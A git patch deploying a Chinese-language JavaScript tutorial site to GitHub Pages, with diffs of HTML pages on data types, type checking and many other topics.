From 35e6919f49e770322e4fe981fd068cbdb4f169b6 Mon Sep 17 00:00:00 2001 From: tsejx Date: Mon, 18 Dec 2023 17:25:27 +0000 Subject: [PATCH] =?UTF-8?q?Deploying=20to=20gh-pages=20from=20=20@=2088dae?= =?UTF-8?q?533e2e42c85fb66f150f248375de4d56d93=20=F0=9F=9A=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 404.html | 17 ++++--- _demos/:uuid/index.html | 17 ++++--- .../data-types/data-types/index.html | 19 ++++--- basic-concept/data-types/index.html | 17 ++++--- .../data-types/type-check/index.html | 19 ++++--- .../data-types/type-conversion/index.html | 19 ++++--- .../expressions/array-initializer/index.html | 19 ++++--- .../expressions/expressions/index.html | 17 ++++--- .../expressions/literal/index.html | 19 ++++--- .../expressions/object-initializer/index.html | 19 ++++--- .../expressions/property-accessors/index.html | 19 ++++--- .../operators/arithmetic-operators/index.html | 19 ++++--- .../operators/assignment-operators/index.html | 19 ++++--- .../operators/bitwise-operators/index.html | 19 ++++--- .../operators/comma-operator/index.html | 19 ++++--- .../comparation-operators/index.html | 19 ++++--- .../operators/conditional-operator/index.html | 19 ++++--- .../expressions/operators/delete/index.html | 19 ++++--- .../detructing-assignment/index.html | 19 ++++--- .../expressions/operators/in/index.html | 19 ++++--- .../expressions/operators/index.html | 17 ++++--- .../operators/instanceof/index.html | 19 ++++--- .../operators/logical-operators/index.html | 19 ++++--- .../operators/operators-precedence/index.html | 19 ++++--- .../operators/spread-operator/index.html | 19 ++++--- .../operators/string-operator/index.html | 19 ++++--- .../the-grouping-operator/index.html | 19 ++++--- .../expressions/operators/typeof/index.html | 19 ++++--- .../operators/update-expressions/index.html | 19 ++++--- .../expressions/operators/void/index.html | 19 ++++--- basic-concept/index.html | 19 ++++--- basic-concept/lexical-grammar/index.html | 17 ++++--- .../lexical-grammar/index.html | 19 ++++--- .../block/index.html | 19 ++++--- .../index.html | 19 ++++--- .../statements-and-declarations/index.html | 17 ++++--- .../labelled-statements/index.html | 19 ++++--- .../the-break-statement/index.html | 19 ++++--- .../the-continue-statement/index.html | 19 ++++--- .../the-do-while-statement/index.html | 19 ++++--- .../the-for-in-statement/index.html | 19 ++++--- .../the-for-of-statement/index.html | 19 ++++--- .../the-for-statement/index.html | 19 ++++--- .../the-if-statement/index.html | 19 ++++--- .../the-return-statement/index.html | 19 ++++--- .../the-switch-statement/index.html | 19 ++++--- .../the-throw-statement/index.html | 19 ++++--- .../the-try-statement/index.html | 19 ++++--- .../the-while-statement/index.html | 19 ++++--- .../application/index.html | 19 ++++--- .../binary-data-and-files/base64/index.html | 19 ++++--- .../binary-data-and-files/blob/index.html | 19 ++++--- .../data-transfer/index.html | 19 ++++--- .../file-list/index.html | 19 ++++--- .../file-reader-sync/index.html | 19 ++++--- .../file-reader/index.html | 19 ++++--- .../binary-data-and-files/file/index.html | 19 ++++--- .../form-data/index.html | 19 ++++--- .../binary-data-and-files/index.html | 17 ++++--- .../binary-data-and-files/url/index.html | 19 ++++--- .../browser-architecture/index.html | 19 ++++--- .../browser-event/index.html | 19 ++++--- .../composite/index.html | 19 ++++--- .../construction-of-render-tree/index.html | 19 ++++--- .../index.html | 19 ++++--- .../browser-working-principle/index.html | 17 ++++--- .../layout/index.html | 19 ++++--- .../paint/index.html | 19 ++++--- .../script-loading-asynchronously/index.html | 19 ++++--- .../workflow/index.html | 19 ++++--- .../connectivity/beacon/index.html | 19 ++++--- .../connectivity/event-source/index.html | 19 ++++--- .../connectivity/featch/index.html | 19 ++++--- browser-object-model/connectivity/index.html | 17 ++++--- .../connectivity/post-message/index.html | 19 ++++--- .../connectivity/progress-event/index.html | 19 ++++--- .../server-sent-events/index.html | 19 ++++--- .../web-real-time-communication/index.html | 19 ++++--- .../connectivity/web-socket/index.html | 19 ++++--- .../connectivity/xmlhttprequest/index.html | 19 ++++--- browser-object-model/device/camera/index.html | 19 ++++--- .../device/geolocation/index.html | 19 ++++--- browser-object-model/device/index.html | 17 ++++--- .../device/position/index.html | 19 ++++--- browser-object-model/index.html | 19 ++++--- .../integration/full-screen/index.html | 19 ++++--- browser-object-model/integration/index.html | 17 ++++--- browser-object-model/observer/index.html | 17 ++++--- .../observer/intersection-observer/index.html | 19 ++++--- .../observer/mutation-observer/index.html | 33 ++++++------ .../browser-cache/index.html | 19 ++++--- .../offline-and-storage/cookie/index.html | 19 ++++--- .../offline-and-storage/http-cache/index.html | 19 ++++--- .../offline-and-storage/index.html | 17 ++++--- .../offline-and-storage/indexed-db/index.html | 19 ++++--- .../service-worker/index.html | 19 ++++--- .../web-storage/index.html | 19 ++++--- .../web-workers/index.html | 19 ++++--- browser-object-model/performance/index.html | 17 ++++--- .../performance-navigation-timing/index.html | 19 ++++--- .../performance-resource-timing/index.html | 19 ++++--- .../performance/performance/index.html | 19 ++++--- .../perfromance-timeline/index.html | 19 ++++--- .../web-event/dialog/index.html | 19 ++++--- .../web-event/get-computed-style/index.html | 19 ++++--- browser-object-model/web-event/index.html | 17 ++++--- .../web-event/lifecycle/index.html | 19 ++++--- .../request-animation-frame/index.html | 19 ++++--- .../request-idle-callback/index.html | 19 ++++--- .../web-event/set-interval/index.html | 19 ++++--- .../web-event/set-time-out/index.html | 19 ++++--- .../document-view-and-element-view/index.html | 19 ++++--- .../element-view-properties/index.html | 19 ++++--- .../window-position/index.html | 17 ++++--- .../window-position/mouse-position/index.html | 19 ++++--- .../screen-view-properties/index.html | 19 ++++--- .../window-view-properties/index.html | 19 ++++--- .../window/history/index.html | 19 ++++--- browser-object-model/window/index.html | 17 ++++--- .../window/location/index.html | 19 ++++--- .../window/navigator/index.html | 19 ++++--- browser-object-model/window/screen/index.html | 19 ++++--- browser-object-model/window/window/index.html | 19 ++++--- .../cdn/index.html | 19 ++++--- .../computer-networks/index.html | 19 ++++--- .../dns/index.html | 19 ++++--- .../hls/index.html | 19 ++++--- .../computer-network-architecture/index.html | 17 ++++--- .../index.html | 19 ++++--- .../transport-layer-protocol/index.html | 19 ++++--- .../http/content-security-policy/index.html | 19 ++++--- .../cross-origin-resource-sharing/index.html | 19 ++++--- .../http/http-connection/index.html | 19 ++++--- .../http/http-content-negotiation/index.html | 19 ++++--- .../http/http-headers/index.html | 19 ++++--- .../http/http-message/index.html | 19 ++++--- .../http/http-resource-and-uris/index.html | 19 ++++--- .../http/http-status-code/index.html | 19 ++++--- computer-networks/http/http/index.html | 19 ++++--- computer-networks/http/http2/index.html | 19 ++++--- computer-networks/http/http3/index.html | 19 ++++--- computer-networks/http/https/index.html | 19 ++++--- computer-networks/http/index.html | 17 ++++--- computer-networks/index.html | 19 ++++--- .../web-security/csrf/index.html | 19 ++++--- .../web-security/ddos/index.html | 19 ++++--- .../web-security/hijacking/index.html | 19 ++++--- computer-networks/web-security/index.html | 17 ++++--- .../same-origin-policy/index.html | 19 ++++--- .../web-security/sql-injection/index.html | 19 ++++--- computer-networks/web-security/xss/index.html | 19 ++++--- .../default-parameters/index.html | 19 ++++--- .../function-parameters/index.html | 19 ++++--- .../function-arguments/index.html | 17 ++++--- .../rest-parameters/index.html | 19 ++++--- .../apply-invocation-pattern/index.html | 19 ++++--- .../constructor-invocation-pattern/index.html | 19 ++++--- .../function-invocation-pattern/index.html | 19 ++++--- .../function-calls/index.html | 17 ++++--- .../method-invocation-pattern/index.html | 19 ++++--- .../arrow-function-definitions/index.html | 19 ++++--- .../async-function-definitions/index.html | 19 ++++--- .../function-definitions/index.html | 19 ++++--- .../function-declarations/index.html | 17 ++++--- .../function-accessor/index.html | 19 ++++--- .../index.html | 19 ++++--- .../index.html | 19 ++++--- .../function-internal/index.html | 17 ++++--- .../callback-function/index.html | 19 ++++--- .../cascade-function/index.html | 19 ++++--- .../class-structure-function/index.html | 19 ++++--- .../function-types/debounce/index.html | 19 ++++--- .../function-currying/index.html | 19 ++++--- .../hight-order-function/index.html | 19 ++++--- .../function-types/index.html | 17 ++++--- .../function-types/lazy-function/index.html | 19 ++++--- .../memorize-function/index.html | 19 ++++--- .../partial-function/index.html | 19 ++++--- .../function-types/sleep-function/index.html | 19 ++++--- .../structure-function/index.html | 19 ++++--- .../function-types/throttle/index.html | 25 ++++++---- .../compilation/blocks-as-scopes/index.html | 19 ++++--- .../compilation/closures/index.html | 19 ++++--- .../compilation/compilation/index.html | 19 ++++--- .../compilation/function-as-scopes/index.html | 19 ++++--- .../compilation/hoisting/index.html | 19 ++++--- .../compilation/index.html | 17 ++++--- .../compilation/lexical-scope/index.html | 19 ++++--- .../concurrency-model/index.html | 19 ++++--- .../concurrency-model/event-loop/index.html | 19 ++++--- .../concurrency-model/index.html | 17 ++++--- .../timers-mechanism/index.html | 19 ++++--- .../execution-context-stack/index.html | 19 ++++--- .../execution/index.html | 17 ++++--- .../execution/scope-chain/index.html | 19 ++++--- .../execution/this/index.html | 19 ++++--- .../execution/variable-object/index.html | 19 ++++--- .../garbage-collection/index.html | 19 ++++--- .../memory-management/index.html | 17 ++++--- .../memory-life-cycle/index.html | 19 ++++--- .../memory-management/memory-model/index.html | 19 ++++--- core-modules/index.html | 19 ++++--- .../modularization/compound/index.html | 19 ++++--- .../cross-module-constant/index.html | 19 ++++--- .../modularization/dynamic-import/index.html | 19 ++++--- core-modules/modularization/export/index.html | 19 ++++--- core-modules/modularization/import/index.html | 19 ++++--- core-modules/modularization/index.html | 17 ++++--- .../modularization/modularization/index.html | 19 ++++--- .../module-inheritance/index.html | 19 ++++--- .../dependency-injection/index.html | 42 ++++++++++++++++ design-patterns/architectural/index.html | 42 ++++++++++++++++ .../model-view-controller/index.html | 42 ++++++++++++++++ .../model-view-viewmodel/index.html | 42 ++++++++++++++++ .../architectural/service-locator/index.html | 42 ++++++++++++++++ .../chain-of-responsibility/index.html | 19 ++++--- design-patterns/behavioral/command/index.html | 19 ++++--- design-patterns/behavioral/index.html | 19 ++++--- .../behavioral/interpreter/index.html | 19 ++++--- .../behavioral/iterator/index.html | 19 ++++--- .../behavioral/mediator/index.html | 19 ++++--- design-patterns/behavioral/memento/index.html | 19 ++++--- .../behavioral/observer/index.html | 21 ++++---- design-patterns/behavioral/state/index.html | 19 ++++--- .../behavioral/strategy/index.html | 21 ++++---- .../behavioral/template-method/index.html | 19 ++++--- design-patterns/behavioral/visitor/index.html | 19 ++++--- .../creational/abstract-factory/index.html | 42 ++++++++++++++++ design-patterns/creational/builder/index.html | 42 ++++++++++++++++ .../creational/factory-method/index.html | 42 ++++++++++++++++ design-patterns/creational/index.html | 19 ++++--- .../creational/prototype/index.html | 42 ++++++++++++++++ .../creational/singleton/index.html | 33 ++++++++---- .../design-principles-and-ideas/index.html | 38 +++++++++++--- design-patterns/index.html | 19 ++++--- design-patterns/structual/adapter/index.html | 21 ++++---- design-patterns/structual/bridge/index.html | 19 ++++--- .../structual/composite/index.html | 19 ++++--- .../structual/decorator/index.html | 21 ++++---- design-patterns/structual/facade/index.html | 19 ++++--- .../structual/flyweight/index.html | 19 ++++--- design-patterns/structual/index.html | 19 ++++--- design-patterns/structual/proxy/index.html | 21 ++++---- .../cssom/css-style-declaration/index.html | 19 ++++--- .../cssom/css-style-sheet/index.html | 19 ++++--- document-object-model/cssom/index.html | 17 ++++--- .../document/document-fragment/index.html | 19 ++++--- .../document/document-methods/index.html | 19 ++++--- .../document/document-properties/index.html | 19 ++++--- .../document/document/index.html | 19 ++++--- document-object-model/document/index.html | 17 ++++--- .../dom/audio-context/index.html | 19 ++++--- document-object-model/dom/dom-rect/index.html | 19 ++++--- document-object-model/dom/dom/index.html | 19 ++++--- .../dom/event-target/index.html | 19 ++++--- .../dom/global-attributes/index.html | 19 ++++--- .../dom/hierarchy-of-nodes/index.html | 19 ++++--- document-object-model/dom/index.html | 17 ++++--- .../dom/video-context/index.html | 19 ++++--- .../dom-token-list/index.html | 19 ++++--- .../html-collection/index.html | 19 ++++--- .../dynamic-collection/index.html | 17 ++++--- .../named-node-map/index.html | 19 ++++--- .../dynamic-collection/node-list/index.html | 19 ++++--- .../element/element-methods/index.html | 19 ++++--- .../element/element-properties/index.html | 19 ++++--- .../element/element/index.html | 19 ++++--- .../element/html-audio-element/index.html | 19 ++++--- .../element/html-element/index.html | 19 ++++--- .../element/html-iframe-element/index.html | 19 ++++--- .../element/html-image-element/index.html | 19 ++++--- .../element/html-media-element/index.html | 19 ++++--- .../element/html-text-area-element/index.html | 19 ++++--- .../element/html-video-element/index.html | 19 ++++--- document-object-model/element/index.html | 17 ++++--- .../events/event-delegation/index.html | 19 ++++--- .../events/event-flow/index.html | 19 ++++--- .../event-handlers-or-listener/index.html | 19 ++++--- .../event-types/clipboard-events/index.html | 19 ++++--- .../css-animation-events/index.html | 19 ++++--- .../css-transition-events/index.html | 19 ++++--- .../event-types/custom-event/index.html | 19 ++++--- .../drag-and-drop-events/index.html | 19 ++++--- .../events/event-types/event-types/index.html | 19 ++++--- .../event-types/focus-events/index.html | 19 ++++--- .../events/event-types/form-events/index.html | 19 ++++--- .../events/event-types/index.html | 17 ++++--- .../event-types/keyboard-events/index.html | 19 ++++--- .../event-types/media-events/index.html | 19 ++++--- .../events/event-types/mouse-event/index.html | 19 ++++--- .../event-types/network-events/index.html | 19 ++++--- .../event-types/pointer-events/index.html | 19 ++++--- .../event-types/printing-events/index.html | 19 ++++--- .../event-types/progress-events/index.html | 19 ++++--- .../event-types/resource-events/index.html | 19 ++++--- .../session-history-events/index.html | 19 ++++--- .../event-types/storage-events/index.html | 19 ++++--- .../text-composition-events/index.html | 19 ++++--- .../the-orientationchange-event/index.html | 19 ++++--- .../event-types/touch-events/index.html | 19 ++++--- .../events/event-types/ui-events/index.html | 19 ++++--- .../uncategorized-events/index.html | 19 ++++--- .../event-types/update-events/index.html | 19 ++++--- .../value-change-events/index.html | 19 ++++--- .../events/event-types/view-events/index.html | 19 ++++--- .../event-types/websocket-events/index.html | 19 ++++--- document-object-model/events/index.html | 17 ++++--- .../events/the-event-object/index.html | 19 ++++--- document-object-model/index.html | 19 ++++--- .../multimedia/audio-buffer/index.html | 19 ++++--- .../multimedia/audio-node/index.html | 19 ++++--- .../multimedia/audio-track/index.html | 19 ++++--- document-object-model/multimedia/index.html | 17 ++++--- document-object-model/node/index.html | 17 ++++--- .../node/node-methods/index.html | 19 ++++--- .../node/node-properties/index.html | 19 ++++--- document-object-model/node/node/index.html | 19 ++++--- index.html | 17 ++++--- .../class-definitions/class-basic/index.html | 19 ++++--- .../class-extends/index.html | 19 ++++--- .../class-private-member/index.html | 19 ++++--- .../class-static-member/index.html | 19 ++++--- .../class-definitions/index.html | 17 ++++--- object-oriented-programming/index.html | 19 ++++--- .../combination-inheritance/index.html | 19 ++++--- .../constructor-stealing/index.html | 19 ++++--- .../inheritance/index.html | 17 ++++--- .../index.html | 19 ++++--- .../parasitic-inheritance/index.html | 19 ++++--- .../prototypal-inheritance/index.html | 19 ++++--- .../inheritance/prototype-chain/index.html | 19 ++++--- .../index.html | 19 ++++--- .../durable-constructor-pattern/index.html | 19 ++++--- .../dynamic-prototype-pattern/index.html | 19 ++++--- .../object-creation/index.html | 17 ++++--- .../parastic-constructor-pattern/index.html | 19 ++++--- .../the-constructor-pattern/index.html | 19 ++++--- .../the-factory-pattern/index.html | 19 ++++--- .../the-prototype-pattern/index.html | 19 ++++--- .../object-oriented-programming/index.html | 19 ++++--- .../attributes-object/index.html | 19 ++++--- .../object-understand/index.html | 17 ++++--- .../manipulating-property/index.html | 19 ++++--- .../the-object-status/index.html | 19 ++++--- .../the-object-type/index.html | 19 ++++--- .../all-settled/index.html | 29 ++++++----- .../all/index.html | 27 +++++----- .../any/index.html | 23 +++++---- .../catch/index.html | 23 +++++---- .../finally/index.html | 19 ++++--- .../generator-async/index.html | 21 ++++---- .../generator/index.html | 21 ++++---- .../control-abstraction-objects/index.html | 19 ++++--- .../iterator/index.html | 21 ++++---- .../next/index.html | 19 ++++--- .../promise-standard/index.html | 19 ++++--- .../promise/index.html | 23 +++++---- .../race/index.html | 27 +++++----- .../reject/index.html | 21 ++++---- .../resolve/index.html | 23 +++++---- .../return/index.html | 21 ++++---- .../then/index.html | 21 ++++---- .../throw/index.html | 21 ++++---- .../fundamental-objects/boolean/index.html | 21 ++++---- .../fundamental-objects/error/index.html | 21 ++++---- .../function/apply/index.html | 21 ++++---- .../function/bind/index.html | 21 ++++---- .../function/call/index.html | 21 ++++---- .../function/function/index.html | 21 ++++---- .../fundamental-objects/function/index.html | 19 ++++--- .../fundamental-objects/index.html | 19 ++++--- .../object/assign/index.html | 26 ++++++---- .../object/create/index.html | 27 ++++++---- .../object/define-properties/index.html | 24 +++++---- .../object/define-property/index.html | 26 ++++++---- .../object/entries/index.html | 23 +++++---- .../object/freeze/index.html | 21 +++++--- .../object/from-entries/index.html | 50 +++++++++++++++++++ .../get-own-property-descriptor/index.html | 23 +++++---- .../get-own-property-descriptors/index.html | 25 ++++++---- .../object/get-own-property-names/index.html | 29 ++++++----- .../get-own-property-symbols/index.html | 21 ++++---- .../object/get-prototype-of/index.html | 21 ++++---- .../object/has-own-property/index.html | 22 ++++---- .../fundamental-objects/object/index.html | 19 ++++--- .../object/is-extensible/index.html | 21 ++++---- .../object/is-frozen/index.html | 21 ++++---- .../object/is-prototype-of/index.html | 21 ++++---- .../object/is-sealed/index.html | 21 ++++---- .../fundamental-objects/object/is/index.html | 21 ++++---- .../object/keys/index.html | 23 +++++---- .../object/object/index.html | 21 ++++---- .../object/prevent-extensions/index.html | 21 ++++---- .../object/property-is-enumerable/index.html | 25 ++++++---- .../object/seal/index.html | 21 ++++---- .../object/set-prototype-of/index.html | 19 ++++--- .../object/to-string/index.html | 23 +++++---- .../object/values/index.html | 23 +++++---- .../symbol/description/index.html | 45 +++++++++++++++++ .../symbol/has-instance/index.html | 21 ++++---- .../fundamental-objects/symbol/index.html | 19 ++++--- .../symbol/is-concat-spreadable/index.html | 21 ++++---- .../symbol/iterator/index.html | 21 ++++---- .../symbol/match/index.html | 21 ++++---- .../symbol/replace/index.html | 21 ++++---- .../symbol/search/index.html | 21 ++++---- .../symbol/species/index.html | 21 ++++---- .../symbol/split/index.html | 21 ++++---- .../symbol/symbol/index.html | 35 +++++++------ .../symbol/to-primitive/index.html | 21 ++++---- .../symbol/to-string-tag/index.html | 21 ++++---- .../symbol/unscopables/index.html | 21 ++++---- standard-built-in-objects/index.html | 19 ++++--- .../array/array-detection/index.html | 19 ++++--- .../array/array/index.html | 25 ++++++---- .../array/concat/index.html | 25 ++++++---- .../array/copy-within/index.html | 19 ++++--- .../array/entries/index.html | 23 +++++---- .../array/every/index.html | 23 +++++---- .../indexed-collections/array/fill/index.html | 21 ++++---- .../array/filter/index.html | 23 +++++---- .../array/find-index/index.html | 21 ++++---- .../indexed-collections/array/find/index.html | 21 ++++---- .../array/flat-map/index.html | 25 ++++++---- .../indexed-collections/array/flat/index.html | 25 ++++++---- .../array/for-each/index.html | 21 ++++---- .../indexed-collections/array/from/index.html | 25 ++++++---- .../array/includes/index.html | 21 ++++---- .../array/index-of/index.html | 21 ++++---- .../indexed-collections/array/index.html | 19 ++++--- .../array/is-array/index.html | 23 +++++---- .../indexed-collections/array/join/index.html | 21 ++++---- .../indexed-collections/array/keys/index.html | 31 ++++++------ .../array/last-index-of/index.html | 21 ++++---- .../indexed-collections/array/map/index.html | 21 ++++---- .../indexed-collections/array/of/index.html | 21 ++++---- .../indexed-collections/array/pop/index.html | 21 ++++---- .../indexed-collections/array/push/index.html | 21 ++++---- .../array/reduce-right/index.html | 21 ++++---- .../array/reduce/index.html | 25 ++++++---- .../array/reverse/index.html | 21 ++++---- .../array/shift/index.html | 21 ++++---- .../array/slice/index.html | 21 ++++---- .../indexed-collections/array/some/index.html | 21 ++++---- .../indexed-collections/array/sort/index.html | 21 ++++---- .../array/splice/index.html | 23 +++++---- .../array/typed-array/index.html | 21 ++++---- .../array/unshift/index.html | 21 ++++---- .../keyed-collections/index.html | 19 ++++--- .../keyed-collections/map/index.html | 21 ++++---- .../keyed-collections/set/index.html | 21 ++++---- .../keyed-collections/weak-map/index.html | 21 ++++---- .../keyed-collections/weak-set/index.html | 19 ++++--- .../numbers-and-dates/date/index.html | 21 ++++---- .../numbers-and-dates/index.html | 19 ++++--- .../numbers-and-dates/math/index.html | 21 ++++---- .../numbers-and-dates/number/index.html | 19 ++++--- .../reflection/apply/index.html | 21 ++++---- .../reflection/construct/index.html | 21 ++++---- .../reflection/define-property/index.html | 21 ++++---- .../reflection/delete-property/index.html | 21 ++++---- .../get-own-property-descriptor/index.html | 21 ++++---- .../reflection/get-prototype-of/index.html | 21 ++++---- .../reflection/get/index.html | 21 ++++---- .../reflection/has/index.html | 21 ++++---- .../reflection/index.html | 19 ++++--- .../reflection/is-extensible/index.html | 21 ++++---- .../reflection/own-keys/index.html | 21 ++++---- .../reflection/prevent-extensions/index.html | 21 ++++---- .../reflection/proxy/index.html | 21 ++++---- .../reflection/reflect/index.html | 21 ++++---- .../reflection/revocable/index.html | 21 ++++---- .../reflection/set-prototype-of/index.html | 21 ++++---- .../reflection/set/index.html | 21 ++++---- .../structured-data/array-buffer/index.html | 21 ++++---- .../structured-data/index.html | 19 ++++--- .../structured-data/json-parse/index.html | 21 ++++---- .../structured-data/json-stringify/index.html | 21 ++++---- .../structured-data/json/index.html | 21 ++++---- .../text-processing/regexp/exec/index.html | 19 ++++--- .../text-processing/regexp/index.html | 19 ++++--- .../regexp/regexp-rule/index.html | 21 ++++---- .../text-processing/regexp/regexp/index.html | 21 ++++---- .../text-processing/regexp/test/index.html | 21 ++++---- .../text-processing/string/char-at/index.html | 21 ++++---- .../string/char-code-at/index.html | 19 ++++--- .../string/code-point-at/index.html | 25 ++++++---- .../text-processing/string/concat/index.html | 21 ++++---- .../string/ends-with/index.html | 21 ++++---- .../string/from-char-code/index.html | 21 ++++---- .../string/from-code-point/index.html | 19 ++++--- .../string/includes/index.html | 23 +++++---- .../string/index-of/index.html | 21 ++++---- .../text-processing/string/index.html | 19 ++++--- .../string/last-index-of/index.html | 19 ++++--- .../string/locale-compare/index.html | 21 +++++--- .../string/match-all/index.html | 25 ++++++---- .../text-processing/string/match/index.html | 23 +++++---- .../string/normalize/index.html | 22 ++++---- .../text-processing/string/pad-end/index.html | 21 ++++---- .../string/pad-start/index.html | 21 ++++---- .../text-processing/string/raw/index.html | 19 ++++--- .../text-processing/string/repeat/index.html | 23 +++++---- .../string/replace-all/index.html | 44 ++++++++++++++++ .../text-processing/string/replace/index.html | 22 ++++---- .../text-processing/string/search/index.html | 21 ++++---- .../text-processing/string/slice/index.html | 21 ++++---- .../text-processing/string/split/index.html | 21 ++++---- .../string/starts-with/index.html | 21 ++++---- .../text-processing/string/string/index.html | 19 ++++--- .../text-processing/string/substr/index.html | 23 +++++---- .../string/substring/index.html | 21 ++++---- .../string/to-lower-case/index.html | 21 ++++---- .../string/to-upper-case/index.html | 21 ++++---- .../string/trim-end/index.html | 21 ++++---- .../string/trim-start/index.html | 21 ++++---- .../text-processing/string/trim/index.html | 21 ++++---- .../function-properties/decode-uri/index.html | 21 ++++---- .../decode-uricomponent/index.html | 21 ++++---- .../function-properties/encode-uri/index.html | 21 ++++---- .../encode-uricomponent/index.html | 21 ++++---- .../function-properties/eval/index.html | 21 ++++---- .../function-properties/index.html | 19 ++++--- .../function-properties/is-finite/index.html | 21 ++++---- .../function-properties/is-na-n/index.html | 21 ++++---- .../parse-float/index.html | 21 ++++---- .../function-properties/parse-int/index.html | 21 ++++---- .../value-properties/index.html | 19 ++++--- .../value-properties/infinity/index.html | 19 ++++--- .../value-properties/na-n/index.html | 21 ++++---- .../value-properties/undefined/index.html | 19 ++++--- umi.5f4ca60e.js | 1 + umi.b0c512ca.js | 1 - umi.c1e1dfc3.css | 1 + umi.d5b66b8e.css | 1 - ~demos/:uuid/index.html | 17 ++++--- ~demos/binary-data-blob-url/index.html | 17 ++++--- .../index.html | 17 ++++--- .../index.html | 17 ++++--- 539 files changed, 6509 insertions(+), 4368 deletions(-) create mode 100644 design-patterns/architectural/dependency-injection/index.html create mode 100644 design-patterns/architectural/index.html create mode 100644 design-patterns/architectural/model-view-controller/index.html create mode 100644 design-patterns/architectural/model-view-viewmodel/index.html create mode 100644 design-patterns/architectural/service-locator/index.html create mode 100644 design-patterns/creational/abstract-factory/index.html create mode 100644 design-patterns/creational/builder/index.html create mode 100644 design-patterns/creational/factory-method/index.html create mode 100644 design-patterns/creational/prototype/index.html create mode 100644 standard-built-in-objects/fundamental-objects/object/from-entries/index.html create mode 100644 standard-built-in-objects/fundamental-objects/symbol/description/index.html create mode 100644 standard-built-in-objects/text-processing/string/replace-all/index.html create mode 100644 umi.5f4ca60e.js delete mode 100644 umi.b0c512ca.js create mode 100644 umi.c1e1dfc3.css delete mode 100644 umi.d5b66b8e.css diff --git a/404.html b/404.html index fedd9b27d..30baf5df2 100644 --- a/404.html +++ b/404.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,6 +33,6 @@
- + diff --git a/_demos/:uuid/index.html b/_demos/:uuid/index.html index fedd9b27d..30baf5df2 100644 --- a/_demos/:uuid/index.html +++ b/_demos/:uuid/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,6 +33,6 @@
- + diff --git a/basic-concept/data-types/data-types/index.html b/basic-concept/data-types/data-types/index.html index 1953bc1e0..36c4ee68a 100644 --- a/basic-concept/data-types/data-types/index.html +++ b/basic-concept/data-types/data-types/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -37,12 +40,12 @@
// 十六进制的31
var num4 = 0x1f;

⚠️ 注意: 八进制在严格模式下 "use strict" 是无效的,会导致 JavaScript 报错,避免使用。

浮点数

var num = 0.1 + 0.2;
var sum = '2.3' * 100;
console.log(num);
// 0.30000000000000000004
console.log(sum);
// 229.99999999999997

上面例子表达的就是 JavaScript 的浮点型数据在计算时容易丢失精度,这一点并不仅在 JavaScript 存在,建议处理这方面问题使用专用的数字处理类,比如 Java 里的 BigDecima 类来处理。

数字的范围

JavaScript 中数值的范围是有效位数的,基本上够我们使用,我们仅需要知道以下几个知识点:

NaN

NaN (Not a number)的含义是本该返回数值的操作未返回数值,返回了 NaN 就不会抛出异常影响语句流畅性。

NaN 属性的初始值就是 NaN,和 Number.NaN 的值一样。

在现代浏览器中(ES5 环境), NaN 属性是一个不可配置(non-configurable)、不可写(non-writable)的属性。但在 ES3 中,这个属性的值是可以被更改的,但是也应该避免覆盖。

编码中很少直接使用到 NaN。通常都是在计算失败时,作为 Math 的某个方法的返回值出现的(例如:Math.sqrt(-1))或者尝试将一个字符串解析成数字但失败了的时候(例如:parseInt("blabla"))。

字符串

JavaScript 的字符串类型用于表示文本数据。它是一组 16 位的无符号整数值的元素。在字符串中的每个元素占据了字符串的位置。第一个元素的索引为 0,下一个是索引 1,依此类推。字符串的长度是它的元素的数量。

'foo';
'bar';
'1234';
'one line \n another line';
"John's cat";

符号

符号(Symbols)是 ECMAScript 第 6 版新定义的。该类型的性质在于这个类型的值可以用来创建匿名的对象属性。该数据类型通常被用作一个对象属性的键值,当这个属性是用于类或对象类型的内部使用的时候。

var myPrivateMethod = Symbol();
-
this[myPrivateMethod] = function () {
// ...
};

引用数据类型

引用类型通常叫做类(Class),也就是说,遇到引用值,所处理的就是对象。

在 ECMA-262 标准中根本没有出现 这个词,而是定义了 对象定义,逻辑上等价于其他程序设计语言中的类。

对象是由 new 运算符加上要实例化的对象的名字创建的。

例如,下面的代码创建 Object 对象的实例:

var o = new Object();

这种语法与 Java 语言的相似,不过当有不止一个参数时,ECMAScript 要求使用括号。

如果没有参数,如以下代码所示,括号可以省略:

var o = new Object();

尽管括号不是必需的,但是为了避免混乱,最好使用括号。


参考资料

+
this[myPrivateMethod] = function () {
// ...
};

引用数据类型

引用类型通常叫做类(Class),也就是说,遇到引用值,所处理的就是对象。

在 ECMA-262 标准中根本没有出现 这个词,而是定义了 对象定义,逻辑上等价于其他程序设计语言中的类。

对象是由 new 运算符加上要实例化的对象的名字创建的。

例如,下面的代码创建 Object 对象的实例:

var o = new Object();

这种语法与 Java 语言的相似,不过当有不止一个参数时,ECMAScript 要求使用括号。

如果没有参数,如以下代码所示,括号可以省略:

var o = new Object();

尽管括号不是必需的,但是为了避免混乱,最好使用括号。


参考资料

- + diff --git a/basic-concept/data-types/index.html b/basic-concept/data-types/index.html index a7b3cf211..43a28eb49 100644 --- a/basic-concept/data-types/index.html +++ b/basic-concept/data-types/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/basic-concept/data-types/type-check/index.html b/basic-concept/data-types/type-check/index.html index 65b832021..efd294ea8 100644 --- a/basic-concept/data-types/type-check/index.html +++ b/basic-concept/data-types/type-check/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -44,12 +47,12 @@
Obejct.prototype.toString.call('')
/// "[object String]"
Obejct.prototype.toString.call(123)
// "[object Number]"
Obejct.prototype.toString.call([])
// "[object Array]"
-
Obejct.prototype.toString.call({})
// "[object Object]"

💡 使用 Object.prototype.toString 方法能精准地判断出值的数据类型。

⚠️ 注意事项

constructor

任何对象都有 constructor 属性,继承自原型对象,constructor 会指向构造这个对象的构造器或构造函数。

Student.prototype.constructor === Student;
// true

数组检测

